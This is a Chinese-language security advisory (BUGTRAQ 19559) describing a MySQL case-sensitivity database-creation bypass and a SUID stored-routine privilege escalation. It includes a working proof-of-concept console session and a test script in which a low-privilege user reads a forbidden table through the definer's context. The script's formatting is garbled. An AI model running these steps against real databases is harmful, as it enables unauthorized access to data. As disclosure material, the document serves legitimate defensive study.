MySQL权限提升及安全限制绕过漏洞 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/167/2021_2022_MySQL_E6_9D_83_E9_99_c103_167265.htm 受影响系统： MySQL AB MySQL 描述： BUGTRAQ ID: 19559 MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。 在MySQL上，拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。 此外，由于在错误的安全环境中计算了suid例程的参数，攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。 测试方法： 【警 告：以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！】 1、创建数据库 $ mysql -h my.mysql.server -u sample -p -A sampleEnter password: Welcome to the MySQL monitor. Commands end with . or \g.Your MySQL connection id is 263935 to server version: 4.1.16-standardmysql> create database another.ERROR 1044: Access denied for user sample@% to database anothermysql> create database sAmple. Query OK, 1 row affected (0.00 sec) 2、权限提升 --disable_warnings0drop database if exists mysqltest1.0drop database if exists mysqltest2.0drop function if exists f_suid.--enable_warnings# Prepare playgroundcreate database mysqltest1.create database mysqltest2.create user malory@localhost.grant all privileges on mysqltest1.* to malory@localhost.# Create harmless (but SUID!) functioncreate

function f_suid(i int) returns int return 0.grant execute on function test.f_suid to malory@localhost.use mysqltest2.# Create table in which malory@localhost will be interested but to which# he wont have any accesscreate table t1 (i int).connect (malcon, localhost, malory,,mysqltest1).# Correct malory@localhost dont have access to mysqltest2.t1--error ER_TABLEACCESS_DENIED_ERROR0select * from mysqltest2.t1.# Create function which will allow to exploit security holedelimiter |.create function f_evil ()returns intsql security invokerbeginset @a:= current_user().set @b:= (0select count(*) from mysqltest2.t1).return 0.end|delimiter .|# Again correct--error ER_TABLEACCESS_DENIED_ERROR0select f_evil().0select @a, @b.# Oops!!! it seems that f_evil() is executed in the context of# f_suid() definer, so malory@locahost gets all info that he wants0select test.f_suid(f_evil()).0select @a, @b.connection default.0drop user malory@localhost.0drop database mysqltest1.0drop database mysqltest2.